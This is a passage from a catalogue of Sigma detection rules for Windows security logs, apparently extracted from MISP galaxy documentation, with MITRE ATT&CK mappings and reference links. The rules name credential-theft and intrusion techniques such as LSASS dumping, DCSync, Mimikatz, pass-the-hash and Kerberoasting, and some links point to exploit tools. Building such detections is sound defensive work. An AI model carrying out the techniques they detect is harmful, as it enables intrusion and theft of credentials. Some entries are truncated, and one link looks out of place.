- related-to: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with
AD Privileged Users or Groups Reconnaissance

Detect priv users or groups recon based on 4661 eventid and known privileged users or groups SIDs

The tag is: `misp-galaxy: sigma-rules="AD Privileged Users or Groups Reconnaissance"`

View relationships graph

AD Privileged Users or Groups Reconnaissance has relationships with:

- related-to: `misp-galaxy: mitre-attack-pattern="Domain Account - T1087.002"` with estimative-language:likelihood-probability="almost-certain"

Active Directory Replication from Non Machine Account

Detects potential abuse of Active Directory Replication Service (ADRS) from a non machine account to request credentials.

The tag is: `misp-galaxy: sigma-rules="Active Directory Replication from Non Machine Account"

View relationships graph

Active Directory Replication from Non Machine Account has relationships with:

- related-to: `misp-galaxy: mitre-attack-pattern="DCSync - T1003.006"` with estimative-language:likelihood-probability="almost-certain"
Password Protected ZIP File Opened (Email Attachment)

Detects the extraction of password protected ZIP archives. See the filename variable for more details on which file has been opened.

The tag is: `misp-galaxy: sigma-rules="Password Protected ZIP File Opened (Email Attachment)"`

View relationships graph

Password Protected ZIP File Opened (Email Attachment) has relationships with:

- related-to: `misp-galaxy: mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimative-language: likelihood-probability="almost-certain"
- related-to: `misp-galaxy: mitre-attack-pattern="Spearphishing Attachment - T1566.001"` with estimative-language: likelihood-probability="almost-certain"

Table 8419. Table References

Locked Workstation


The tag is: `misp-galaxy: sigma-rules="Locked Workstation"`

Table 8420. Table References
ETW Logging Disabled In .NET Processes - Registry

Potential adversaries stopping ETW providers recording loaded .NET assemblies.

The tag is: misp-galaxy:sigma-rules="ETW Logging Disabled In .NET Processes - Registry"

View relationships graph

ETW Logging Disabled In .NET Processes - Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562" with estimative-language:likelihood-probability="almost-certain"

Table 8421. Table References

Links

https://github.com/dotnet/runtime/blob/ee2355c801d892f2894b0f7b14a20e6cc50e0e54/docs/design/coreclr/jit/viewing-jit-dumps.md#setting-configuration-variables

https://social.msdn.microsoft.com/Forums/vstudio/en-US/0878832e-39d7-4eaf-8e16-a729c4c40975/what-can-i-use-e13c0d23ccbc4e12931bd9cc2eee27e4-for?forum=clr

https://github.com/dotnet/runtime/search?p=1&q=COMPlus_&unscoped_q=COMPlus_

https://twitter.com/xpn/status/1268712093928378368

https://bunnyinside.com/?term=f71e8cb9c76a

https://github.com/dotnet/runtime/blob/4f9ae42d861fcfb4be2fcd5d3d55d5f227d30e723/docs/coding-guidelines/clr-jit-coding-conventions.md#1412-disabling-code


http://managed670.rssing.com/chan-5590147/all_p1.html


https://github.com/dotnet/runtime/blob/f62e93416a1799aecc6b0947adad55a0d9870732/src/coreclr/src/inc/clrconfigvalues.h#L35-L38

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_workstation_was_locked.yml
SAM Registry Hive Handle Request

Detects handles requested to SAM registry hive

The tag is:  
misp-galaxy:sigma-rules="SAM Registry Hive Handle Request"

View relationships graph

SAM Registry Hive Handle Request has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1552.002" with estimative-language:likelihood-probability="almost-certain"

Table 8422. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://threathunterplaybook.com/hunts/windows/190725-SAMRegistryHiveHandleRequest/notebook.html">https://threathunterplaybook.com/hunts/windows/190725-SAMRegistryHiveHandleRequest/notebook.html</a></td>
</tr>
</tbody>
</table>

SysKey Registry Keys Access

Detects handle requests and access operations to specific registry keys to calculate the SysKey

The tag is:  
misp-galaxy:sigma-rules="SysKey Registry Keys Access"

View relationships graph

SysKey Registry Keys Access has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

Table 8423. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Suspicious Scheduled Task Creation

Detects suspicious scheduled task creation events. Based on attributes such as paths, commands line flags, etc.
The tag is: `misp-galaxy:sigma-rules="Suspicious Scheduled Task Creation"`

**View relationships graph**

Suspicous Scheduled Task Creation has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"

**Table 8424. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_scheduled_task_creation.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_scheduled_task_creation.yml</a></td>
</tr>
</tbody>
</table>

---

**RDP over Reverse SSH Tunnel WFP**

Detects svchost hosting RDP termsvcs communicating with the loopback address

The tag is: `misp-galaxy:sigma-rules="RDP over Reverse SSH Tunnel WFP"`

**View relationships graph**

RDP over Reverse SSH Tunnel WFP has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Internal Proxy - T1090.001"` with estimative-language:likelihood-probability="almost-certain"

**Table 8425. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES/blob/44fbe85f72ee91582876b49678f9a26292a155fb/Command%20and%20Control/DE_RDP_Tunnel_5156.evtx">https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES/blob/44fbe85f72ee91582876b49678f9a26292a155fb/Command%20and%20Control/DE_RDP_Tunnel_5156.evtx</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/SBousseaden/status/1096148422984384514">https://twitter.com/SBousseaden/status/1096148422984384514</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_rdp_reverse_tunnel.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_rdp_reverse_tunnel.yml</a></td>
</tr>
</tbody>
</table>

---

**Azure AD Health Service Agents Registry Keys Access**

This detection uses Windows security events to detect suspicious access attempts to the registry key values and sub-keys of Azure AD Health service agents (e.g AD FS). Information from AD Health
service agents can be used to potentially abuse some of the features provided by those services in the cloud (e.g. Federation). This detection requires an access control entry (ACE) on the system access control list (SACL) of the following securable object: HKLM:\SOFTWARE\Microsoft\ADHealthAgent. Make sure you set the SACL to propagate to its sub-keys.

The tag is: `misp-galaxy:sigma-rules="Azure AD Health Service Agents Registry Keys Access"`

View relationships graph

Azure AD Health Service Agents Registry Keys Access has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Query Registry - T1012"` with estimative-language:likelihood-probability="almost-certain"

Table 8426. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://o365blog.com/post/hybridhealthagent/">https://o365blog.com/post/hybridhealthagent/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_aadhealth_svc_agent_regkey_access.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_aadhealth_svc_agent_regkey_access.yml</a></td>
</tr>
</tbody>
</table>

Password Dumper Activity on LSASS

Detects process handle on LSASS process with certain access mask and object type SAM_DOMAIN

The tag is: `misp-galaxy:sigma-rules="Password Dumper Activity on LSASS"`

View relationships graph

Password Dumper Activity on LSASS has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001"` with estimative-language:likelihood-probability="almost-certain"

Table 8427. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/jackcr/status/807385668833968128">https://twitter.com/jackcr/status/807385668833968128</a></td>
</tr>
</tbody>
</table>
**Suspicious Teams Application Related ObjectAccess Event**

Detects an access to authentication tokens and accounts of Microsoft Teams desktop application.

The tag is: *misp-galaxy:sigma-rules="Suspicious Teams Application Related ObjectAccess Event"*

View relationships graph

Suspicious Teams Application Related ObjectAccess Event has relationships with:


*Table 8428. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Weak Encryption Enabled and Kerberoast**

Detects scenario where weak encryption is enabled for a user profile which could be used for hash/password cracking.

The tag is: *misp-galaxy:sigma-rules="Weak Encryption Enabled and Kerberoast"*

View relationships graph

Weak Encryption Enabled and Kerberoast has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001"* with *estimative-language:likelihood-probability="almost-certain"*

*Table 8429. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.harmj0y.net/redteaming/another-word-on-delegation/">https://blog.harmj0y.net/redteaming/another-word-on-delegation/</a></td>
</tr>
<tr>
<td><a href="https://adsecurity.org/?p=2053">https://adsecurity.org/?p=2053</a></td>
</tr>
</tbody>
</table>
User Added to Local Administrators

This rule triggers on user accounts that are added to the local Administrators group, which could be legitimate activity or a sign of privilege escalation activity.

The tag is: misp-galaxy:sigma-rules="User Added to Local Administrators"

View relationships graph

User Added to Local Administrators has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"

Table 8430. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_user_added_to_local_administrators.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_user_added_to_local_administrators.yml</a></td>
</tr>
</tbody>
</table>

Hidden Local User Creation

Detects the creation of a local hidden user account which should not happen for event ID 4720.

The tag is: misp-galaxy:sigma-rules="Hidden Local User Creation"

View relationships graph

Hidden Local User Creation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"

Table 8431. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/SBousseaden/status/1387743867663958021">https://twitter.com/SBousseaden/status/1387743867663958021</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_hidden_user_creation.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_hidden_user_creation.yml</a></td>
</tr>
</tbody>
</table>

Password Protected ZIP File Opened (Suspicious Filenames)

Detects the extraction of password protected ZIP archives with suspicious file names. See the filename variable for more details on which file has been opened.
Password Protected ZIP File Opened (Suspicious Filenames) has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

Table 8432. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/sbousseaden/status/1523383197513379841">https://twitter.com/sbousseaden/status/1523383197513379841</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_opened_encrypted_zip_filename.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_opened_encrypted_zip_filename.yml</a></td>
</tr>
</tbody>
</table>

**SMB Create Remote File Admin Share**

Look for non-system accounts SMB accessing a file with write (0x2) access mask via administrative share (i.e C$).

The tag is: *misp-galaxy: sigma-rules*="SMB Create Remote File Admin Share"*

Table 8433. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/OTRF/ThreatHunter-Playbook/blob/f7a58156dbfc9b019f17f638b8c62d22e557d350/playbooks/WIN-201012004336.yaml">https://github.com/OTRF/ThreatHunter-Playbook/blob/f7a58156dbfc9b019f17f638b8c62d22e557d350/playbooks/WIN-201012004336.yaml</a></td>
</tr>
<tr>
<td><a href="https://securitydatasets.com/notebooks/atomic/windows/lateral_movement/SDWIN-200806015757.html?highlight=create%20file">https://securitydatasets.com/notebooks/atomic/windows/lateral_movement/SDWIN-200806015757.html?highlight=create%20file</a></td>
</tr>
</tbody>
</table>

**Processes Accessing the Microphone and Webcam**

Potential adversaries accessing the microphone and webcam in an endpoint.
The tag is: *misp-galaxy:sigma-rules=* "Processes Accessing the Microphone and Webcam"

View relationships graph

Processes Accessing the Microphone and Webcam has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern=* "Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"

Table 8434. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/duzvik/status/1269671601852813320">https://twitter.com/duzvik/status/1269671601852813320</a></td>
</tr>
<tr>
<td><a href="https://medium.com/@7a616368/can-you-track-processes-accessing-the-camera-and-microphone-7e6885b37072">https://medium.com/@7a616368/can-you-track-processes-accessing-the-camera-and-microphone-7e6885b37072</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_camera_microphone_access.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_camera_microphone_access.yml</a></td>
</tr>
</tbody>
</table>

**Possible PetitPotam Coerce Authentication Attempt**

Detect PetitPotam coerced authentication activity.

The tag is: *misp-galaxy:sigma-rules=* "Possible PetitPotam Coerce Authentication Attempt"

View relationships graph

Possible PetitPotam Coerce Authentication Attempt has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern=* "Forced Authentication - T1187" with estimative-language:likelihood-probability="almost-certain"

Table 8435. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/topotam/PetitPotam">https://github.com/topotam/PetitPotam</a></td>
</tr>
<tr>
<td><a href="https://github.com/splunk/security_content/blob/0dd6de32de2118b2818550df9e65255f4109a56d/detections/endpoint/petitpotam_network_share_access_request.yml">https://github.com/splunk/security_content/blob/0dd6de32de2118b2818550df9e65255f4109a56d/detections/endpoint/petitpotam_network_share_access_request.yml</a></td>
</tr>
</tbody>
</table>

**Potential AD User Enumeration From Non-Machine Account**

Detects read access to a domain user from a non-machine account

The tag is: *misp-galaxy:sigma-rules=* "Potential AD User Enumeration From Non-Machine Account"

View relationships graph
Potential AD User Enumeration From Non-Machine Account has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"

### Table 8436. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.stuffithoughtknew.com/2019/02/detecting-bloodhound.html">http://www.stuffithoughtknew.com/2019/02/detecting-bloodhound.html</a></td>
</tr>
<tr>
<td><a href="https://www.specterops.io/assets/resources/an_ace_up_the_sleeve.pdf">https://www.specterops.io/assets/resources/an_ace_up_the_sleeve.pdf</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/windows/win32/adschema/attributes-all">https://docs.microsoft.com/en-us/windows/win32/adschema/attributes-all</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_ad_user">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_ad_user</a> Enumeration.yml</td>
</tr>
</tbody>
</table>

### Active Directory User Backdoors

Detects scenarios where one can control another users or computers account without having to use their credentials.

The tag is: `misp-galaxy:sigma-rules="Active Directory User Backdoors"`

View relationships graph

Active Directory User Backdoors has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"

### Table 8437. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://adsecurity.org/?p=3466">https://adsecurity.org/?p=3466</a></td>
</tr>
<tr>
<td><a href="https://blog.harmj0y.net/redteaming/another-word-on-delegation/">https://blog.harmj0y.net/redteaming/another-word-on-delegation/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_alert_ad_user_backdoors.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_alert_ad_user_backdoors.yml</a></td>
</tr>
</tbody>
</table>

### Possible Shadow Credentials Added

Detects possible addition of shadow credentials to an active directory object.

The tag is: `misp-galaxy:sigma-rules="Possible Shadow Credentials Added"`

View relationships graph

Possible Shadow Credentials Added has relationships with:
• related-to: misp-galaxy:mitre-attack-pattern="Modify Authentication Process - T1556" with estimative-language:likelihood-probability="almost-certain"

Table 8438. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/SBousseaden/status/1581300963650187264">https://twitter.com/SBousseaden/status/1581300963650187264</a>?</td>
</tr>
<tr>
<td><a href="https://cyberstoph.org/posts/2022/03/detecting-shadow-credentials/">https://cyberstoph.org/posts/2022/03/detecting-shadow-credentials/</a></td>
</tr>
</tbody>
</table>

**WCE wceaux.dll Access**

Detects wceaux.dll access while WCE pass-the-hash remote command execution on source host

The tag is: misp-galaxy:sigma-rules="WCE wceaux.dll Access"

View relationships graph

WCE wceaux.dll Access has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

Table 8439. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://jpcertcc.github.io/ToolAnalysisResultSheet">https://jpcertcc.github.io/ToolAnalysisResultSheet</a></td>
</tr>
<tr>
<td><a href="https://www.jpcert.or.jp/english/pub/sr/ir_research.html">https://www.jpcert.or.jp/english/pub/sr/ir_research.html</a></td>
</tr>
</tbody>
</table>

**CobaltStrike Service Installations - Security**

Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement

The tag is: misp-galaxy:sigma-rules="CobaltStrike Service Installations - Security"

View relationships graph

CobaltStrike Service Installations - Security has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-
**Addition of Domain Trusts**

Addition of domains is seldom and should be verified for legitimacy.

The tag is: `misp-galaxy:sigma-rules="Addition of Domain Trusts"`

**Mimikatz DC Sync**

Detects Mimikatz DC sync security events

The tag is: `misp-galaxy:sigma-rules="Mimikatz DC Sync"`
Account Tampering - Suspicious Failed Logon Reasons

This method uses uncommon error codes on failed logons to determine suspicious activity and tampering with accounts that have been disabled or somehow restricted.

The tag is: misp-galaxy:sigma-rules="Account Tampering - Suspicious Failed Logon Reasons"

Service Installed By Unusual Client - Security

Detects a service installed by a client which has PID 0 or whose parent has PID 0

The tag is: misp-galaxy:sigma-rules="Service Installed By Unusual Client - Security"
Enabled User Right in AD to Control User Objects

Detects scenario where if a user is assigned the SeEnableDelegationPrivilege right in Active Directory it would allow control of other AD user objects.

The tag is: *misp-galaxy:sigma-rules="Enabled User Right in AD to Control User Objects"*

View relationships graph

Enabled User Right in AD to Control User Objects has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"

*Table 8445. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.harmj0y.net/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/">https://blog.harmj0y.net/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/</a></td>
</tr>
</tbody>
</table>

Win Susp Computer Name Containing Samtheadmin

Detects suspicious computer name samtheadmin-{1..100}$ generated by hacktool

The tag is: *misp-galaxy:sigma-rules="Win Susp Computer Name Containing Samtheadmin"*

View relationships graph

Win Susp Computer Name Containing Samtheadmin has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

*Table 8446. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/malmoeb/status/1511760068743766026">https://twitter.com/malmoeb/status/1511760068743766026</a></td>
</tr>
<tr>
<td><a href="https://github.com/WazeHell/sam-theadmin/blob/main/sam_the_admin.py">https://github.com/WazeHell/sam-theadmin/blob/main/sam_the_admin.py</a></td>
</tr>
<tr>
<td><a href="https://github.com/helloexp/0day/blob/614227a7b9beb0e91e7e2c6a5e532e6f7a8e883c/00-CVE_EXP/CVE-2021-42287/sam-the-admin/sam_the_admin.py">https://github.com/helloexp/0day/blob/614227a7b9beb0e91e7e2c6a5e532e6f7a8e883c/00-CVE_EXP/CVE-2021-42287/sam-the-admin/sam_the_admin.py</a></td>
</tr>
</tbody>
</table>
## Suspicious Scheduled Task Update

Detects update to a scheduled task event that contain suspicious keywords.

The tag is: `misp-galaxy:sigma-rules="Suspicious Scheduled Task Update"`

View relationships graph

Suspicious Scheduled Task Update has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"

### Table 8447. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

## DCOM InternetExplorer.Application Iertutil DLL Hijack - Security

Detects a threat actor creating a file named `iertutil.dll` in the `C:\Program Files\Internet Explorer\` directory over the network for a DCOM InternetExplorer DLL Hijack scenario.

The tag is: `misp-galaxy:sigma-rules="DCOM InternetExplorer.Application Iertutil DLL Hijack - Security"`

View relationships graph

DCOM InternetExplorer.Application Iertutil DLL Hijack - Security has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Distributed Component Object Model - T1021.003"` with estimative-language:likelihood-probability="almost-certain"

### Table 8448. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

5590
DiagTrackEoP Default Login Username

Detects the default "UserName" used by the DiagTrackEoP POC

The tag is: misp-galaxy: sigma-rules="DiagTrackEoP Default Login Username"

Table 8449. Table References

Links

https://github.com/Wh04m1001/DiagTrackEoP/blob/3a2fc99c9700623eb7dc7d4b5f314fd9ce5ef51f/main.cpp#L46


Pass the Hash Activity 2

Detects the attack technique pass the hash which is used to move laterally inside the network

The tag is: misp-galaxy: sigma-rules="Pass the Hash Activity 2"

View relationships graph

Pass the Hash Activity 2 has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1550.002" with estimative-language:likelihood-probability="almost-certain"

Table 8450. Table References

Links

https://blog.stealthbits.com/how-to-detect-pass-the-hash-attacks/

https://github.com/iadgov/Event-Forwarding-Guidance/tree/master/Events

https://blog.binarydefense.com/reliably-detecting-pass-the-hash-through-event-log-analysis

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_pass_the_hash_2.yml

Outgoing Logon with New Credentials

Detects logon events that specify new credentials

The tag is: misp-galaxy: sigma-rules="Outgoing Logon with New Credentials"

View relationships graph
Outgoing Logon with New Credentials has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Use Alternate Authentication Material - T1550" with estimative-language:likelihood-probability="almost-certain"

Table 8451. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://go.recordedfuture.com/hubfs/reports/mtp-2021-0914.pdf">https://go.recordedfuture.com/hubfs/reports/mtp-2021-0914.pdf</a></td>
</tr>
</tbody>
</table>

**KrbRelayUp Attack Pattern**

Detects logon events that have characteristics of events generated during an attack with KrbRelayUp and the like

The tag is: *misp-galaxy:sigma-rules="KrbRelayUp Attack Pattern"*

Table 8452. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/sbousseaden/status/1518976397364056071?s=12&amp;t=qKO5eKHvWhAP19a50FTZ7g">https://twitter.com/sbousseaden/status/1518976397364056071?s=12&amp;t=qKO5eKHvWhAP19a50FTZ7g</a></td>
</tr>
</tbody>
</table>

**External Remote SMB Logon from Public IP**

Detects successful logon from public IP address via SMB. This can indicate a publicly-exposed SMB port.

The tag is: *misp-galaxy:sigma-rules="External Remote SMB Logon from Public IP"*

**View relationships graph**

External Remote SMB Logon from Public IP has relationships with:


- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
**Failed Logon From Public IP**

A login from a public IP can indicate a misconfigured firewall or network boundary.

The tag is: *misp-galaxy:sigma-rules*="Failed Logon From Public IP"

View relationships graph

Failed Logon From Public IP has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078"* with estimative-language:likelihood-probability="almost-certain"
- related-to: *misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190"* with estimative-language:likelihood-probability="almost-certain"

**RDP Login from Localhost**

RDP login with localhost source address may be a tunnelled login

The tag is: *misp-galaxy:sigma-rules*="RDP Login from Localhost"

View relationships graph

RDP Login from Localhost has relationships with:

A Security-Enabled Global Group Was Deleted

Detects activity when a security-enabled global group is deleted

The tag is: *misp-galaxy:sigma-rules*="A Security-Enabled Global Group Was Deleted"

View relationships graph

A Security-Enabled Global Group Was Deleted has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern*="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"

Table 8456. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.cisecurity.org/controls/cis-controls-list/">https://www.cisecurity.org/controls/cis-controls-list/</a></td>
</tr>
<tr>
<td><a href="https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf">https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf</a></td>
</tr>
</tbody>
</table>

Login with WMI

Detection of logins performed with WMI

The tag is: *misp-galaxy:sigma-rules*="Login with WMI"

View relationships graph

Login with WMI has relationships with:


Table 8457. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

5594
**Potential Access Token Abuse**

Detects potential token impersonation and theft. Example, when using "DuplicateToken(Ex)" and "ImpersonateLoggedOnUser" with the "LOGON32_LOGON_NEW_CREDENTIALS" flag.

The tag is: `misp-galaxy:sigma-rules="Potential Access Token Abuse"`

View relationships graph

Potential Access Token Abuse has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Token Impersonation/Theft - T1134.001"` with estimative-language:likelihood-probability="almost-certain"

**Table 8458. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.elastic.co/fr/blog/how-attackers-abuse-access-token-manipulation">https://www.elastic.co/fr/blog/how-attackers-abuse-access-token-manipulation</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_access_token_abuse.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_access_token_abuse.yml</a></td>
</tr>
</tbody>
</table>

**A Member Was Removed From a Security-Enabled Global Group**

Detects activity when a member is removed from a security-enabled global group

The tag is: `misp-galaxy:sigma-rules="A Member Was Removed From a Security-Enabled Global Group"`

View relationships graph

A Member Was Removed From a Security-Enabled Global Group has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098"` with estimative-language:likelihood-probability="almost-certain"

**Table 8459. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.cisecurity.org/controls/cis-controls-list/">https://www.cisecurity.org/controls/cis-controls-list/</a></td>
</tr>
<tr>
<td><a href="https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf">https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf</a></td>
</tr>
</tbody>
</table>
RottenPotato Like Attack Pattern

Detects logon events that have characteristics of events generated during an attack with RottenPotato and the like

The tag is: misp-galaxy:sigma-rules="RottenPotato Like Attack Pattern"

Remote WMI ActiveScriptEventConsumers

Detect potential adversaries leveraging WMI ActiveScriptEventConsumers remotely to move laterally in a network

The tag is: misp-galaxy:sigma-rules="Remote WMI ActiveScriptEventConsumers"
Scanner PoC for CVE-2019-0708 RDP RCE Vuln

Detects the use of a scanner by zerosum0x0 that discovers targets vulnerable to CVE-2019-0708 RDP RCE aka BlueKeep

The tag is: `misp-galaxy:sigma-rules="Scanner PoC for CVE-2019-0708 RDP RCE Vuln"`

View relationships graph

Scanner PoC for CVE-2019-0708 RDP RCE Vuln has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210"` with estimative-language:likelihood-probability="almost-certain"

<table>
<thead>
<tr>
<th>Table 8462. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://github.com/zerosum0x0/CVE-2019-0708">https://github.com/zerosum0x0/CVE-2019-0708</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/AdamTheAnalyst/status/1134394070045003776">https://twitter.com/AdamTheAnalyst/status/1134394070045003776</a></td>
</tr>
</tbody>
</table>

